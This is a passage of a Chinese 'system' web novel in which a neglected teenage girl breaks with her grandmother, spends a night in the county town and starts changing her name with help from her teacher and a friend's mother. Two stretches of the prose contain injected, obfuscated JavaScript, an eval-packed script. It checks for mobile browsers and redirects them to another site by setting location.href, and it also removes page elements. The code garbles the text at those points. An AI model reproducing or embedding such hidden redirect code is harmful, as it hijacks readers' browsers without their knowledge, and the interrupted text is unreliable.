“天冷了，我没有暖和的衣服和被子，需要钱买。我不主动问你要，你不会给，问你要，你最多给我五十块。我知道你不是没钱，你是故意让我受冻，不想让我过温暖的冬天，反正我冻不死，不是吗？” 奶奶变得羞恼：“你乱说什么！” “我读高三，老师让出钱买试卷，笔写了一支又一支，需要钱买文具。你不主动给，给的时候不情不愿，怀疑我骗钱。其实你知道我没有骗你，你存心让我难堪，让我像乞丐那样卑微地求你施舍，反正我爸妈从来不会给我钱，我必须依赖你的恩赐，不是吗？” 崩溃的情绪无法解决问题，徐婷婷用手指擦去眼角溢出的泪，轻轻笑了。 她的话还没有说完。 “奶奶，你给的伙食费，只能打食堂最便宜的菜吃。我十七岁了，身高只有149CM，全班最矮，整个年级也找不到几个比我更矮的学生。以后我可能长不高，一直是个矮子，跟你一样，你满意吗？弟弟过年回来，他比我高一个头。都是爸妈的亲生孩子，我为什么这么矮，你知道原因的，不是吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妈妈无辜，爸爸无辜，奶奶也是无辜的。 就她罪无可赦。 世上真的有系统，那世上有穿越吗？如果有，请让她回到十七年前，回到一切痛苦尚未开始的时间，她要杀掉自己，从根源上抹除自己的所有…… 无法控制的泪水滂沱而下。 她嚎啕大哭，不再看地上滚动的没人要的塑料杯，带着自己仅有的东西跑向无需等候的楼梯，朝着一楼快速接近。 半长不短的头发依旧妨碍她，影响了她的视野。 她狼狈地摔在地上，牢牢抱着书本和文具，装衣服的袋子被摔裂，东西掉了出来。 楼梯空荡荡的，只有她一个人。 她爬起来，把东西塞回裂开的袋子里，用双手抱住，书本和文具却拿不动了。 没事，她有【背包】，两个格子的背包！ 徐婷婷放下袋子，拿着书本文具进厕所，两手空空地出来，回到楼梯捡起袋子，朝着一楼的大门走去。 有人在看她，护士交头接耳，医生似乎露出同情的神色。 他们是冷漠的看客。 在她的故事里，他们是没有任何意义的背景。 徐婷婷不在乎他们的关注，笔直地走到医院门口。 天色已经黑透了，夜幕笼罩大地。 寒风呼啸，吹得她脸颊疼痛，眼睛睁不开。 她侧身避开无情的风，医院门口没有她需要的出租车，也没有载客的摩托车，去县城的乡镇大巴早就停运了。 于是她沿着公路往前走，看到小卖部。 电视机正播放节目，老板一家人端着碗吃饭。其中有个初中生模样的女孩，穿得很暖和，声音甜甜地让妈妈给她买电视里打广告的巧克力。 妈妈无奈地说：“好，给你买，都给你买，谁让你是妈妈的大宝贝呢？” 女孩咯咯笑，很高兴，很骄傲：“我的妈妈是世上最好的妈妈！” 真是让人羡慕的幸福家庭啊！ 徐婷婷心里感叹，走进这个温馨的小卖部，尽量让自己显得体面些，别那么狼狈。她礼貌地开口：“你们晚上好，请问现在能找到去县城的车吗？我愿意出钱，两百元。” 13.找回快乐的自己 17：03，徐婷婷上了回乡镇的顺风车，心怀忐忑，隐有期待。 20：39，徐婷婷回到县城。 小卖部的老板，那个世上最好的妈妈没有收她一分钱，将她塞上去县城的大货车，让司机把她送到市区。 人们并不都是冷漠的，也有善良的。 大货车远去，徐婷婷独自站在昏黄的路灯下，看着路上来来往往的车，默默地思考下一步行动。 她遭遇了人生大变，此时应该寻求安慰。 无论是陆晨曦还是班主任陈若龙，她们都非常温柔，能像最好的妈妈那样将她拥入怀中，让她尽情哭泣，给予她鼓励和支持。 但她不想找她们，不想找任何一个认识她的人，只想一个人静静地舔舐伤口。 道路旁边是流淌的河水，徐婷婷走到围栏前，看着泛起粼粼波光的河面，忽然有种跳下去的冲动。可是她不会游泳，河水也不干净，她不想死在里面，变成一具苍白的浮尸，变成《一女子与家人发生口角后跳河自尽》这种社会新闻的主角。 毕竟，她死了，看客不会同情她，只会觉得她无理取闹。而奶奶肯定会将她塑造成爱慕虚荣的形象，反正死了的她不能活过来维护自己，不是吗？ 好朋友陆晨曦如果知道她轻生，只会看不起她，觉得她软弱到极点。 班主任陈若龙可能会内疚，她是那样负责任的老师，徐婷婷不想让她内疚。 自尽的幻想在脑海中消失了。 徐婷婷朝河面伸手，风从五指中穿过去，她猛地握手，抓住一把空气。于是她笑了，笑自己妄想捕捉风。 河岸边，长得比其它野草高一截的野草在风中摇摆。 徐婷婷想知道野草站直了有多高，想知道自己走进那些看似矮小的野草中会不会被淹没，她好奇河流中间的水是否湍急，好奇河里的鱼藏在哪，河里最深的地方有多深…… 想着想着，她想起了她的过去。 其实她的人生并不全是痛苦，也有很多快乐。 家在大山里，小时候她不知道山里山外的不同，喜欢迎着风奔跑，肆无忌惮地发出大喊大叫，喜欢爬上山崖折下盛开的白色野花，她会用荔枝树的叶子吹口哨，还知道山里哪种野果能吃、好吃。 过年的时候爸妈会回来，有时不回，徐婷婷都不在乎。 她从来不想念他们。 对她来说，他们只是活在别人描述里的陌生人。 哦，他们生了个弟弟，她变成姐姐了，但那跟她找小伙伴捉迷藏有什么关系呢？ 奶奶天天念叨着，要她对弟弟好。她便顺从奶奶的期待说好，转过身就忘在脑后，跑出去捉青蛙。 后来，徐婷婷进了村里的学堂读一年级。 书上的数字和文字她随随便便学会，不懂老师为什么反反复复地讲好久。 坐在教室里，她一会儿看窗外吱吱喳喳的鸟，一会儿数桌子上的纹路，觉得上学无聊极了。 想玩，爱玩，什么时候下课？ 学堂有两个老师，一个住在学堂，一个和她在一个村。 同学们也一样，有自己村的，有邻村的，人少得凑不齐一个班。 大家挤在两个教室里，以一、二、三年级区分彼此。到了学期末，老师和学生要早早起床集合，步行一个多小时山路去镇上的小学，参加放假前最后的考试。 山路崎岖，弯弯又绕绕。 徐婷婷走到一半，两条腿又麻又痒，却不能停下休息，直到抵达镇小学。 上午考语文，中午吃老师煮的粥，每人一碗，也可以喝两碗，下午考数学。 考完了老师就消失了，学生各自回家。 徐婷婷找到小伙伴，看见她们拿着零食吃，原来小学门口有个小卖部，但是她没钱。 她的奶奶从来不给零花钱。 去镇小学考了几次试，她有没有在那个小卖部买过吃的？ 徐婷婷忘记了。 因为她没有去考试的镇小学读书，四、五、六年级，她是在另一个镇小学读的，去那个镇小学的路也是山路，也要走一小时。 有时徐婷婷和小伙伴一起走，有时她一个人走，她更喜欢一个人走。 多人同行基本是走熟悉的老路，没有新意。 一个人走，她可以走几步就停下休息，随时钻进大山摘野果吃，还可以踩在溪水里往上追溯源头，体验冒险的乐趣，前往每一个想去的地方，让好奇心得到充分满足。 是从什么时候开始，她的生活渐渐失去快乐？ 进入校园后，处在人群中，她必须让自己看起来和大多数人一样。如果她不一样，会遭到排挤，所以她要扔掉那个泛黄的枕头。 比较是一种残酷的本能。 她从别人写的优秀作文上知道零花钱这个概念，原来别人的家长会给孩子发零花钱，她的家长为什么分文不给？ 别人的妈妈来宿舍给孩子送鸡汤，她想起远方的妈妈，她的妈妈为什么不关心她？ 同桌考了满分，被爸爸奖励芭比娃娃。 她也满分，她的爸爸连一句夸奖都不说，更不要说送她一个芭比娃娃。 爸妈带着弟弟回家过年了，过完年他们一家三口前往大城市，她和奶奶仍在村里生活。 她感到疑惑，为什么弟弟没有被留下？爸妈能带走弟弟，为什么不把她也带走？ 小学毕业那年的暑假，她跟奶奶坐了很久车，终于去到大城市。 爸妈住的房子特别干净漂亮，下雨不漏水，也没有蟑螂老鼠小蟋蟀，她和奶奶仿佛两个客人，被安排在堆放杂物的房间，睡着同一张床。 出发前，她幻想着爸妈为她布置一个喜欢的房间。 到来后，幻想被现实击碎了。 客厅的沙发是那么柔软，她局促不安地坐在那上面，双手双脚不知如何摆放。妈妈让她看电视解闷，然而她找不到电视遥控器，也不会开电视机。 妈妈看起来很冷漠，她不敢询问。 为了打发无聊，她走到阳台看外面的风景。 回家的弟弟突然锁住阳台门，她就那样被关在阳台上，环顾四周，找不到出路，急得眼泪掉下来。 弟弟却在屋子里发出哈哈大笑，叫她傻大姐。 后来妈妈开了门，弟弟在沙发上看电视，跟没事人一样。 那并不是她想看的电视，她无事可做，去阳台研究花盆里的植物，门被猛地关上，她又被弟弟锁在阳台。 妈妈说弟弟年纪小，不懂事，奶奶说男孩子比较顽皮，要她宽容要她谦让。 所以，她不能争遥控器看自己想看的电视，不能怪弟弟偷看她洗澡……总之，弟弟无论做了什么都有人向着他护着他，她心中的委屈连说出来都不可以。 徐婷婷的眼圈又红了。 她摸了摸眼角，指尖被泪水湿润。 已经过去五六年，她快成年了，那个夏天的委屈不曾消散分毫，依然让她难过。 她不由得想，妈妈真的一点都不爱她吗？真的连一点点的爱，都不舍得分给她这个亲生女儿吗？ 弟弟到底有什么魅力，能够让妈妈对他倾注所有的爱？ 弟弟是不是有个技能叫“妈妈只爱我”？ 为什么弟弟不去死！ 徐婷婷真心实意地盼着弟弟死。 她得不到的，弟弟应有尽有，她感到极度不平衡。 她打开系统的属性面板，第一次产生了解锁商店的强烈想法，她希望商店出售一些能让她轻松杀死弟弟而且不会被追究责任的特殊商品。 凭什么她只能孤苦伶仃地在陌生的河岸怨恨，弟弟却在繁华的大城市，开开心心地和爸妈享受一家三口的美好时光？ 亲情如刀，对她残酷无比。 如果可以选择，她宁可做一个孤儿！ 最起码，孤儿不会有婷婷这种恶毒无比的名字。 徐婷婷发出压抑的呜咽。 快乐都在记忆里，此时此刻的她，只能感觉到痛苦。 她意识到，她不能再回忆弟弟和爸爸妈妈了，他们是她心底血淋淋的伤口。 在河岸发呆不可取，徐婷婷整理思绪，认为自己需要吃一顿晚饭。 是的，她还没有吃今天的晚饭。 本来她打算在医院的病房吃，可是奶奶没有给她这个机会。 她环顾四周，附近是县城最热闹的街，肯德基、麦当劳的招牌清晰可见，她活了这么大，还没有去吃过。 不过，她要处理一下行李。 徐婷婷很快找到一家卖行李箱的店，行李箱看起来贵，其实比她想象中的便宜。她把东西塞进箱子，拖着行李箱走进没有摄像头的暗处，两手空空地出来。 【背包】到底不如随身空间方便。 两格空间，每一格只能存放一样物品，不能把所有东西一股脑塞进去。 下一站是肯德基还是麦当劳呢？ 肯德基距离更近，她走进去，点了汉堡包、薯条、炸鸡翅、鸡肉卷和芙蓉鲜蔬汤，付钱的时候手微微颤抖。 在这里吃一顿饭好贵，每天100元伙食费眨眼间去了一半多。 食物都放在餐盘里，徐婷婷找了个角落坐下，先戴上手套，拿起薯条吃了一口。 味道还不错，但是感觉好贵。 鸡肉卷她喜欢吃。 汉堡一般。 炸鸡翅很好吃！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301124|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 芙蓉鲜蔬汤也很好喝，汤特别清澈，不知道怎么做的。 一个人吃肯德基其实没什么不好，爸妈不带她来吃，她自己来，反正她有钱。 吃完了，徐婷婷起身找厕所。 肯德基的厕所也很高级，没有一丝异味，还安装了烘干双手的机器。 徐婷婷用沾湿的双手拍了拍脸，看到镜中的自己，眼睛红肿，嘴唇因缺水干燥起皮，头发略凌乱。 半长不短的头发太不方便，她想剪陆晨曦那样的短发。 理发店在街对面，落地玻璃墙上印着价钱，剪一次头发要三十块，是她负担不起的。 但她有系统发的零花钱，为何不对自己好点？ 徐婷婷走进理发店，心跳速度有些快。 刚才她进肯德基也感到紧张，她不明白自己为什么会这样。 大约是奶奶指着家门命令她滚出去，她便在心灵上沦为没有家的流浪者，无论走到哪里都害怕遭到冷漠无情的驱逐。 理发店是不会赶走客人的，徐婷婷心安理得地坐下。 理发师推荐她洗剪吹，多十五块，能按摩头皮。 没试过，体验一下。 在理发店二楼，徐婷婷躺上柔软的按摩床，闭上眼睛。 头发被热水浸湿、浸透，抹上冰凉的洗发水，揉出大量泡沫，头皮被轻轻抓挠。等到头发洗得差不多了，她得到不是很舒适的按摩，但感觉十分新奇。 洗头原来可以洗这么长时间。 别说，躺着洗头还挺舒服。 她身上甚至盖了一块温暖的毯子，理发店多体贴，居然担心她躺久了着凉。 虽然这体贴要花钱买，可她确实享受到了。 有钱真好，她以后要赚很多钱，体验世间各种乐趣。 心情渐渐变得平和，徐婷婷打开系统，看那个没有及时作决定的选择。 二十秒选择倒计时结束后，系统检测到她执行了选项三，判断她完成选择。 但她没做选择题，所以300元奖励只发放一半。 唉，自己还是不够冷静。 徐婷婷可惜丢掉的一半奖励，150元呢，省一点能吃三次肯德基！ “客人看起来有点累，需要做一次面部护理放松一下吗？”为她洗头的女人忽然说话，“只要二十块，就能让你的皮肤更白皙娇嫩。” 这是被推销？徐婷婷睁开眼睛，看向对方。 对方任她打量，笑着说：“女孩子要对自己好一点，该花的钱不能省。你不想做护理，可以买一支洗面奶，自己洗脸也能洗得又白又干净。” 【叮！你触发了生活事件，理发店向你推销女性美容理念，你决定——】 【选项一：欣然加入变美赛道，获得10元零花钱】 【选项二：断然拒绝，获得100元零花钱】 【选项三：询问对方对街上随处可见的肥胖秃头丑男有何看法，获得300元零花钱】 有钱赚！徐婷婷肉眼可见的高兴起来，不假思索地选择三，询问对方：“女人都想让自己变美，男人为什么也不变好看点，让我们女人欣赏呢？” “呃，爱美的男人还是有的……”对方一愣，连忙回答。 “我从来没见过男人爱美。”徐婷婷说，“我变好看，街上的男人看到我，心情都好了。但我看他们，要么肥，要么黑，要么秃顶，要么丑，多看一眼都是折磨自己。你说，我看起来是很贱的人吗？他们难看到让我的心情坏透了，我凭什么变美给他们看？” “哈哈……”对方尴尬，“小妹妹，不要这样想。你变得好看，自己看了心情也好，出门都比平时自信。” “男人不会这样想。”徐婷婷想起在电脑上看的新闻，“大明星长得那么好看，也有人说她丑，审美显然是主观的，让自己变美是永远没有尽头的。我要上大学，我的钱很重要，不能用在没有收益的事情上。” 她有些后悔选择四十五元的洗剪吹了，这家店男人来剪头发二十五元，女人要收三十元，凭什么女人要多五元？ 因为女人头发长？ 她可是短发！ 【叮！你完成选项三，300元零花钱已发放至账号】 用毛巾包着头下到一楼，徐婷婷选了女性理发师，对她说：“我要剪短发，这么短。”比划了长度。 剪完头发，洗后吹干，看起来不错，跑步肯定不会被头发打脸，上下楼梯也不怕头发遮挡视线导致摔跤。徐婷婷满意地对理发师说谢谢。 到柜台付钱时，她指着玻璃墙的价格表说：“我才发现我剪头发比男的贵五块钱，下次我不会来你这里剪头发，我还要跟我的同学说你们剪头发收更多钱！” 14.新人生从改名开始 重新回到大街上，徐婷婷觉得自己不够勇敢。 在理发店说完那句话，她就像做了错事那样急匆匆逃走，根本不敢看收银员的脸色。如果是陆晨曦遇到这种事，肯定会更从容，更镇定，说不定还要狠狠投诉，让理发店道歉。 不过，如果是得到系统前的她，估计一句话都不敢说，只会默默离开，在心里想下次不再光顾。 对比陆晨曦，她不够勇敢。对比从前，她更勇敢。 想到这里，徐婷婷有些得意，自然而然地露出笑容，感觉前路一片平坦开阔。 饭吃了，头发剪了，接下来做什么？今天晚上要在哪里洗澡睡觉？ 徐婷婷环顾四周。 新衣服买过了，不想去服装店；不口渴，不想喝昂贵的奶茶；蛋糕可以买一块尝尝鲜；便利店不想光顾；跆拳道馆？看起来好神奇，有点想学，但是她现在没有时间学，应该也交不起学费。 先吃蛋糕！ 展示蛋糕的橱窗擦得很亮，徐婷婷选了一块放了樱桃的巧克力蛋糕。店里有桌子，她坐下来慢慢品尝，发现樱桃没有想象中好吃。不过奶油是美味的，蛋糕也好吃，除了售价昂贵，小蛋糕没有别的缺点。 店里还有各式各样的面包，单独包装，看起来比包子高级，售价也很昂贵，徐婷婷看了又看，不舍得花钱买。 她走出蛋糕店，看见附近有旅馆，好奇地进去，住一个晚上要六十元，还要出示身份证才能入住，她没有身份证，住不了。 隔壁是卖眼镜的，有个楼梯通往二楼的网吧。 刚好两个男的上楼，说着玩一个通宵的话。徐婷婷打量楼梯，打量铺满了墙面的游戏海报，无法从衣着暴/露的女角色上感受到游戏的魅力。 传说中令人上瘾的游戏是这样的吗？ 陆晨曦带她玩的游戏也好玩，可是那个游戏的女角色衣着正常。 犹豫着，徐婷婷踏上通往网吧的楼梯，想见识一下学生不应该来的网吧。 网吧很热闹，没有她想象中的乌烟瘴气，像个普通场所。 她看到个子还没有柜台高的小男孩奔跑着越过她，熟练地对工作人员扬起纸钞，大喊：“开临时卡！我要玩个通宵！” 家长不管他吗？网吧允许他玩吗？徐婷婷怀着莫名的期待。 工作人员没拒绝小男孩，他兴高采烈地跑去开电脑。 徐婷婷也走上前，拿着钱，生疏地要求工作人员临时卡通宵。 对她来说，电脑是陌生事物，就算在陆晨曦家里玩过，她还是不会开。她想起陆晨曦说过的话，电脑也是工具，只要是工具，使用的难度便不会高。 于是她研究了下电脑，找到电源键，成功地让电脑出现开机动画。 然后做什么？ 登录q号联系陆晨曦吗？ 来网吧是老师不允许做的事情，徐婷婷不想被陆晨曦知道自己竟然如此叛逆，便研究电脑里的各种东西。 她学会了放音乐给自己听，别人戴着耳机，她也戴上，新奇地听电脑播放的音乐。 不多时，徐婷婷切掉不喜欢的摇滚乐，选择陆晨曦爱听她也爱听的英文歌。 她看到别人看电影，她从来没看过。 抓着鼠标，她在电脑上一番操作，很快便掌握用电脑看电影的技能。 选中了一部画风符合审美的爱尔兰动画电影，徐婷婷关掉音乐，专心致志地看起来。电影里的对话是英文，中英双语，她一边看一边小声念英语，深切体会到电脑的好处。 以后她也要买一台自己的电脑！ 不知过了多久，徐婷婷忽然听到有人叫她：“徐婷婷？” 谁？ 她慌忙回头，看到一个意想不到的人站在身后。 女生，不高不矮，不胖不瘦，眉梢长着一颗小痣，不是同班同学晏北回又是谁？ “你怎么也来网吧玩？”晏北回笑嘻嘻，“我还以为你这种乖学生绝对不会踏足网吧一步，看到你我瞧了好久，才认出真的是你。” “我、我第一次来……”徐婷婷尴尬，不知道如何向她解释。 “通宵吗？”晏北回在旁边坐下，开了电脑。 “算是。” 徐婷婷不想打扰陆晨曦，不想惊动班主任，更不想回学校，今天晚上只能在网吧熬夜。 说起来，她还没熬过夜呢。 晏北回往她电脑上瞧：“喜欢看电影？我好像听到你在说英文……”语气变得惊讶，“你不会来网吧学英语吧？” “我英语不太好，看到电影说，就跟着念几句。” “哦。”晏北回对学英语不感兴趣，“迪士尼的动画电影看过吗？很好看的，要我给你推荐几部吗？” 她显然比徐婷婷更熟悉电脑。 徐婷婷接受她的推荐，通过她知道了点评电影的豆瓣网，知道哪个视频网站有学习知识的高质量网课，以及观看正版电影的视频网站。 难怪网络令人沉迷，网络上太多有趣东西了。 由于晏北回没问自己为何抛来网吧上网，徐婷婷也没有问她为什么她家长允许她到网吧通宵，谁没点不愿意说出去的秘密呢？ 把爱尔兰动画电影看完，徐婷婷感觉心灵受到了洗礼。 电影真好看！ 她回味电影内容，暂时不想投入到下一部电影中，便在网上看别人的观后感。 看着看着，她发现别人不仅在网上分享电影观后感，还分享了人生经历。 妈妈不爱的女儿并不只有她一个，别的女儿也意识到妈妈不爱自己，非常难受，却无法停止爱妈妈，生活异常痛苦。 徐婷婷被深深吸引住，把文章反复看了两三遍，对作者感同身受。 然而作者只是剖开她的痛苦给读者看，没有给出解决的办法。 徐婷婷提取关键字，在网上搜索别人的人生经验，不一会儿就找到她需要的东西。 妈妈起的名太难听太恶毒，她得尽快改名，用一个全新的、有着美好寓意的名字参加明年的高考。 她还要办身份证，迁移户口暂时不着急，手机号和银行卡可以慢慢来。 名字怎么改呢？徐婷婷搜索流程，被改名要求难住了。 她未成年，改名必须拿到家长的身份证或户口本，还要让家长同意。成年人改名倒是不需要获得家长同意，但她明年九月才成年，那时候高考早就结束了。 她难道要用徐婷婷这个令她恶心的名字参加高考吗？ 电脑屏幕的光映在徐婷婷脸上，她无意识地用指甲在鼠标垫上刮出一道道不规则痕迹，思考着解决问题的方法。 她重新看改名要求，后悔自己太早跟奶奶决裂。 可是，如果不决裂，她便不会知道徐婷婷这个平凡的名字藏着多么恶毒的含义。 别后悔，只是成年前改名麻烦罢了，她一定能克服困难！ 徐婷婷咬唇，认为改名需要获取一些帮助。 她侧过头，晏北回在聊天，她问对方：“你有班主任的q号吗？班主任现在能不能看到我给她发的消息？” 晏北回看了看班级群，眼神奇异：“你有事找班主任？她还真在线，刚发言呢。” 迟疑了七八秒，徐婷婷登录自己的q号。 她先加晏北回好友，再加班级群，在群里找到班主任的号并发起好友申请，在备注上写明身份，瞬间和班主任成为好友。 “你现在还好吗？”班主任陈若龙发来消息，“晚饭吃了吗？” 这只是普普通通的问候，也许她对每个学生都会这样说。 但是，徐婷婷才和奶奶决裂，看到这样的问候，泪水便迅速盈满了眼眶。她擦去泪，看着键盘上分布不规律的字母键，一个一个地戳，输入回答：“我吃过晚饭了，谢谢老师关 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陈若龙想起对张浩文家长说不的徐婷婷，想起别人叙述中扇张浩文一巴掌的徐婷婷，发现这个学生远比她印象中的坚强勇敢。 她输入：“能不能开视频，让我看看你？” 徐婷婷同意了，主动发出视频请求。 陈若龙接受视频，在视频中看到她坐在网吧的电脑椅里，她很紧张，很羞涩，不敢看镜头，就像她在老师面前一样。 学生还是熟悉的学生，不是家长口中大逆不道、为了一点钱跟小混混谈恋爱的人，陈若龙松了一口气。 “老师，能关掉视频通话吗？”徐婷婷身旁坐着的晏北回躲到摄像头外，生怕被班主任窥见，为了她的体验，视频通话显然不能久开。 陈若龙掐断了通话，晏北回放松下来，小声埋怨道：“你好大的胆子，竟然在网吧跟班主任开视频！你难道就不怕她逮住你狠狠地骂你一顿吗？” “老师没骂我，老师她对我们其实很好的。”徐婷婷轻快地说，“我准备改名了，我还没想好我要改什么名。” “啊？为什么要改名？” “名字难听。” “我觉得挺好听，亭亭玉立哎，你不喜欢吗？” 倘若她名字的“婷婷”是亭亭玉立的意思，徐婷婷何必改名？她摇摇头：“我不喜欢。” 晏北回说：“我也不喜欢我的名字，别人看到了都以为我是男生，一点都不好听，我想改一个能让人一眼认出我是女生的名字。” 电脑上，陆晨曦发来消息：“是本人吗？快十二点了，你还不睡觉？” 徐婷婷回复：“我在网吧通宵。” 陆晨曦震惊了：“你没去医院照顾你奶奶？” 徐婷婷把自己和陈若龙的聊天记录发给陆晨曦：“我决定改名，你有什么建议吗？” 看记录需要时间，徐婷婷婉拒了邀请自己去做客的陈若龙，说明天一早会回学校宿舍休息，请老师放心，让老师别熬夜。 这会儿陆晨曦便把聊天记录看完了，发来新消息：“你好难！你简直太难了！我想把这件事告诉我妈，请我妈帮你，可以吗？我妈会答应的，她资助了好几个女生上学，多资助一个你毫无压力。我姨姨更厉害，为了让资助的女生读书，直接把那个女生的坏家长送去坐牢！” 能得到陆妈妈的帮助吗？徐婷婷的心一下子急促地跳起来。 【叮！你触发了生活事件，陆晨曦释放了帮助你的善意，你决定——】 【选项一：欣然答应，获得500元零花钱】 【选项二：委婉拒绝，获得500元零花钱】 【选项三：甜甜地叫陆晨曦姐姐，让她询问陆妈妈是否愿意领养你做女儿，获得500元零花钱】 15.从今往后，她是崔皓月 一如既往地，选项三不走寻常路，让徐婷婷都看呆了。 什么甜甜地叫陆晨曦姐姐，什么问陆妈妈是否介意多一个养女，这么离谱的事情，她想都不敢想的好吗？她只想和陆晨曦做好朋友，没觊觎过陆晨曦的妈妈和姨姨，她敢对天发誓！ “你不回答等于默认，我这就去找我妈！”陆晨曦愉快地做了决定。 过了两秒，她发来第二条消息：“我们还是孩子，遇到困难，应该主动寻求年长者的帮助。这个世界很大很大，好人很多，就算是最坚强的人，她也需要外界给予的助力。” 徐婷婷并不孤单。 纵然她的奶奶、她的爸妈不疼爱她，也有人站在她身边，给予她支持、鼓励。 她很乐于回应陆晨曦的善意。 她高兴地选择了选项一，在聊天框里对陆晨曦说：“我很感谢你，我确实需要一些帮助，如果你妈妈愿意的话。” 【叮！你完成选项一，500元零花钱已发放至账号】 半个小时后，徐婷婷拖着行李箱，在凌晨的空旷街道上等到开车过来的陆晨曦母女。 二楼的网吧招牌闪烁着流动的彩光，招牌后是一排封闭窗户。 窗后，晏北回站在阴影里，看着陆晨曦下车，和徐婷婷一起把行李箱搬到车上。两人也上了车，不一会儿，这辆昂贵的红色宝马在她的视野中远去，消失在道路尽头。 徐婷婷，真幸运啊。 晏北回面无表情地想，陆晨曦那么高傲，怎么会看上土里土气的徐婷婷呢？徐婷婷平平无奇，有什么吸引陆晨曦的优点？ 她也想做陆晨曦的好朋友！ 她对陆晨曦非常热情，比木讷的徐婷婷讨人喜欢多了，可陆晨曦就是不爱搭理她，总是对她敷衍了事。 晏北回觉得陆晨曦虚伪，看起来跟谁都好，实际上除了徐婷婷，谁都不亲近。 要是真不亲近，对谁都一张冷脸，那也挺好的。偏偏陆晨曦不那样，她见了谁都是一脸开朗的笑，令人误以为她把自己当朋友，她甚至记得住别人随口说的生日，在生日那天送小礼物哄人开心。 太虚伪了！晏北回在心里唾弃陆晨曦。 不把她当好朋友，却在她生日那天送出了唯一的生日礼物！还拉上别的同学一起唱生日歌为她庆祝！陆晨曦这个人简直虚伪得令人害怕。 对，陆晨曦那么假，她跟徐婷婷做朋友一定有目的！ 徐婷婷到底有什么东西值得陆晨曦图谋？晏北回想到小说里的真假千金，顿时脑洞大开，陆晨曦该不是传闻中的恶毒假千金吧？ 晏北回并不了解徐婷婷的家庭，徐婷婷只跟她说了改名，她不感兴趣。 还是回去玩电脑吧！ 晏北回又回到电脑前，打开网络游戏，熟练地玩起来。 只是她忘不了徐婷婷跟陆晨曦回家，玩了一会儿，给徐婷婷q号发去一条消息：“取名不要取男生的名，不然你被误以为成男生，以后会后悔。” 徐婷婷姓徐，取什么名好听？ 晏北回想不出好名，也不愿费心琢磨好名，再次沉浸在游戏的世界中。 …… 浴室里白气蒸腾。 徐婷婷洗完澡，换上散发着阳光气味的睡衣，躺上陆晨曦家的床。 她以为她会在床上翻来覆去许久，毕竟她在傍晚经历人生巨变，连系统都被她忘了好几个小时。然而她躺下就睡着了，六点半准时苏醒的生物钟甚至失了效，以至于她八点才被敲门声吵醒。 “懒虫！还没起床吗？”陆晨曦恶声恶气地说。 她发出得意的笑声：“哈哈哈，你也会睡懒觉啊？真少见，我竟然起得比你早，跑来叫你起床了！哈哈哈哈，再不起床你就是小狗狗！快点起床啦，要晨跑的！” “起来了！”徐婷婷连忙说，“等一下，我马上洗漱！” 迅速收拾好自己，换上晨跑穿的衣服鞋，徐婷婷出现在低头玩手机的陆晨曦面前。 “走，先吃饭。”陆晨曦收起手机，抓住徐婷婷的手，“我妈在等着呢，你不要紧张，我妈很好相处的。对了，你想好改什么名字吗？” “还没有，光顾着睡觉了。” “一定是我家的床太舒服了，让你沉迷睡觉！” 徐婷婷也觉得是这样，昨晚她睡得特别好，梦都没做，眼一闭再一睁就睡到早上八点了。 可惜，熬夜没成功。 两人下了楼，看见饭厅里坐着陈若龙，不禁齐齐吃了一惊。 陈若龙招了招手：“姑娘们，早上好。” 她是陆妈妈的客人，因她在场，即便是陆晨曦，早餐也吃得有一点难熬，吃完了赶紧拉着徐婷婷出门晨跑。 上午还没过去，晨跑尚且赶得及。 客厅里，陈若龙感慨道：“这两个孩子很有毅力，天天早起跑步，听她们同宿舍的孩子说，已经坚持了两三周了。没想到她俩放假都要晨跑，估计没有偷过一天懒，难得啊！” “我倒是不知道晨曦这孩子天天晨跑，她那么懒散，是她交的朋友带她跑吧？”陆妈妈觉得女儿交了一个有益的朋友，对徐婷婷更有好感。 “应该是吧？”陈若龙说，“晨曦的成绩比从前进步了，上课更认真。” 陆妈妈顿时笑起来：“你是为了晨曦那个朋友过来找我的吧？”她跟陈若龙是高中同学，“你当着班主任，给我说说那孩子吧，我得知道她值不值得我资助。” 良久，陈若龙说完徐婷婷的事。 陆妈妈叹气：“她的家长真是作孽，不喜欢她，偏要生下她折磨她，小孩可怜呢。你跟她家长聊过了？肯给小孩改名吗？” 陈若龙说：“跟她奶奶聊过，改名是肯的。她奶奶不是那种听不进话的老顽固，还盼着孩子考大学，去大城市生活。到底是从六个月的婴儿养到这么大，心里有点感情，不希望自家孩子以后过得太差。” “呵呵，”陆妈妈笑笑，不以为然，“真的有感情，怎么舍得把好端端的孩子逼成那样？你是外人，还是老师，但凡老东西要点脸，都不想让你以为她苛刻孩子。” “说的也是，唉！”陈若龙摇头，继续讲述，“她跟她奶奶一个户口本，她那爸妈为了给她弟弟上居民户口，把她和她奶奶登记为养母女。所以，只要她奶奶松口，她就能改名。” “那这事没难度了，如果她奶奶不改口的话。”陆妈妈打量老同学，“你特地来见我，我便抽空和你去乡下探望一下她奶奶，尽快搞定改名这件事。” 陈若龙露出笑脸：“麻烦你了。还有，她爸妈可能不肯出下学期的学杂费，你看？” …… 要改什么名呢？ 徐婷婷翻开了字典。 陆晨曦从书架上拿了《唐诗宋词》、《诗经》、《千字文》、《乐府诗集》等书作参考，一边看一边问好朋友：“名要改，姓你改不？我之前是跟我爸姓的，后来我妈离婚，我才跟我妈姓陆。” 改姓吗？徐婷婷不知道。 她不想跟妈妈姓，也不想跟爸爸姓，她厌恶他们。 跟奶奶姓？那更不可能的，和奶奶有关的记忆，大多是灰暗的，没多少快乐。 “看你的表情就知道你想改姓！”陆晨曦笑嘻嘻地说，“要不你跟我姓好了，我们是最好的朋友，同一个姓能显得我们更要好！” 